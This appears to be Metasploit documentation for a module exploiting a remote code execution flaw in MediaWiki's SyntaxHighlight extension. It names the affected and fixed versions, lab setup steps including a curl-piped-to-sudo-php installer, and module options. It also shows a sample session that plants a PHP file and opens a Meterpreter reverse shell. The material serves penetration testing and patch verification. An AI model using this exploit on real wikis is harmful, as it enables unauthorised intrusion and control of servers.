documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md
Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3.
To set up the vulnerable environment, please do:
curl -sS https://getcomposer.org/installer | sudo php -- --install-dir=/usr/local/bin --filename=composercd /var/www/html/mediawiki/extensions/SyntaxHighlight_GeSHicomposer updatewfLoadExtension( 'SyntaxHighlight_GeSHi' );At this point, you are ready to test this setup.
use exploit/multi/http/mediawiki_syntaxhighlightset RHOST [ip target site]set TARGETURI [MediaWiki path]set UPLOADPATH [writable path in web root]RPORT, SSL, and VHOSTexploitThe MediaWiki base path, the URL path on which MediaWiki is exposed. This is normally /mediawiki, /wiki, or /w.
Folder name where MediaWiki stores the uploads, make sure to use a relative path here. For a regular installation this is the images folder. This folder needs to be writable by MediaWiki and accessible from the web root. The exploit will try to create a PHP file in this location that will later be called through the web server.
Set this to true (the default) to unlink the PHP file created by this exploit module. The cleanup code will only be called when the exploit is successful.
In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the username of that account here.
In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the password of that account here.
The module comes with a check command that allows you to check whether the target might be vulnerable or not, for example:
msf exploit(mediawiki_syntaxhighlight) > check
[*] 192.168.146.203:80 The target appears to be vulnerable.
msf > use exploit/multi/http/mediawiki_syntaxhighlight
msf exploit(mediawiki_syntaxhighlight) > set RHOST 192.168.146.137
RHOST => 192.168.146.137
msf exploit(mediawiki_syntaxhighlight) > set TARGETURI /mediawiki
TARGETURI => /mediawiki
msf exploit(mediawiki_syntaxhighlight) > exploit
[*] Started reverse TCP handler on 192.168.146.197:4444
[*] Local PHP file: images/bwpqtiqgmeydivskjcjltnldb.php
[*] Trying to run /mediawiki/images/bwpqtiqgmeydivskjcjltnldb.php
[*] Sending stage (33986 bytes) to 192.168.146.137
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.137:55768) at 2017-04-29 14:27:03 +0200